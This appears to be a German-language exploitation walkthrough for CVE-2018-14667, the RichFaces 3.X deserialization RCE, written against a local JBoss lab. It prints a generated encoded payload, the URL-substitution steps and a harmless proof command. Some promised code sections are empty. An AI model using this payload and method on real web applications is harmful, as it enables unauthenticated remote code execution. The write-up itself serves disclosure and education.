
Alles über CVE-2018-14667; Von dem, was es ist, bis hin zu seiner erfolgreichen Ausnutzung.
Nachdem ich viel Zeit damit verbracht habe, diese CVE zu verstehen und korrekt auszunutzen, habe ich beschlossen, ein Repository zu dem RichFaces 3.X RCE-Bug zu erstellen und die HOWTOs Schritt für Schritt mit der Community zu teilen.
0x00 : Einführung in den RichFaces 3.X-Bug
Am Montag, dem 19. November, veröffentlichte Joao F M Figueiredo einen sehr detaillierten Artikel (https://seclists.org/fulldisclosure/2018/Nov/47) über eine kritische, hochriskante RichFaces-Schwachstelle.
CVSS3-Basiswert 9.8
Diese Schwachstelle ermöglicht es beliebigen nicht authentifizierten Benutzern, auf jeder Webanwendung, die RichFaces 3.X (alle Versionen) verwendet, entfernten Code auszuführen – was so ziemlich das Worst-Case-Szenario ist.
0x01 : Bin ich betroffen? ![]()
Nun, wenn Sie RichFaces 3.X (eine beliebige Version von RichFaces 3) ausführen und den folgenden Code in Ihrem Quellcode sehen, ist die Wahrscheinlichkeit groß, dass Sie anfällig für Remote-Code-Ausführung durch CVE-2018-14667 sind:
0x02 : Eine angreifbare Umgebung zum Testen des Bugs ausführen ![]()
Ich werde im Wesentlichen wiederholen, was in dem Artikel von seclists.org bereits behandelt wurde, nämlich wie man eine angreifbare Umgebung bereitstellt.
0x03 : Ein gültiges Payload erzeugen ![]()
Jetzt kommt der spaßige Teil! Genau hier bin ich auf Schwierigkeiten gestoßen, daher werde ich im Detail erklären, wie man ein gültiges Payload erzeugt, ohne dieselben Fehler zu wiederholen, die ich gemacht habe. Ich empfehle, zunächst Eclipse zum Kompilieren des Payloads zu verwenden.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Ihre Ausgabe in Eclipse sollte wie folgt aussehen:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Ihr Payload senden und Remote-Code-Ausführung erhalten ![]()
Navigieren Sie in Ihrem Browser zu Ihrem lokalen JBoss-Server, auf dem die PhotoAlbum-Webanwendung läuft: http://192.168.100.2:8080/photoalbum, und klicken Sie mit der rechten Maustaste, um den Seitenquelltext anzuzeigen. Drücken Sie Strg+F und suchen Sie nach '/DATA/'. Sie sollten etwas Ähnliches finden:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Sie können das serialisierte Objekt deutlich sehen. An dieser Stelle ersetzen wir das serialisierte Objekt durch unser Payload, um Remote-Code-Ausführung zu erhalten. Ändern Sie in Ihrem Browser die URL zu http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Mein Payload führte den folgenden Befehl aus: 'touch /tmp/PoorRichFaces'. Mal sehen, ob ich Erfolg hatte:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Fühlt sich gut an, nicht wahr? Wir haben gerade RCE auf einer Java-Webanwendung erlangt, die RichFaces 3.X ausführt.
0x05 : Wie patchen? ![]()
Diese Tatsache wird Ihnen vielleicht nicht gefallen, also seien Sie bereit und halten Sie sich an Ihrer Tastatur fest; RichFaces hat das Ende der Unterstützung ihres Produkts erreicht, daher sollten die Benutzer (Sie) ihren eigenen Patch anwenden. Keine Panik: Wenn Sie keinen Weg zum Patchen finden, zögern Sie nicht, mich zu kontaktieren. Wir können eine Vereinbarung treffen, damit ich Ihre Java-Webanwendungen patchen kann.
E-mail: [email protected]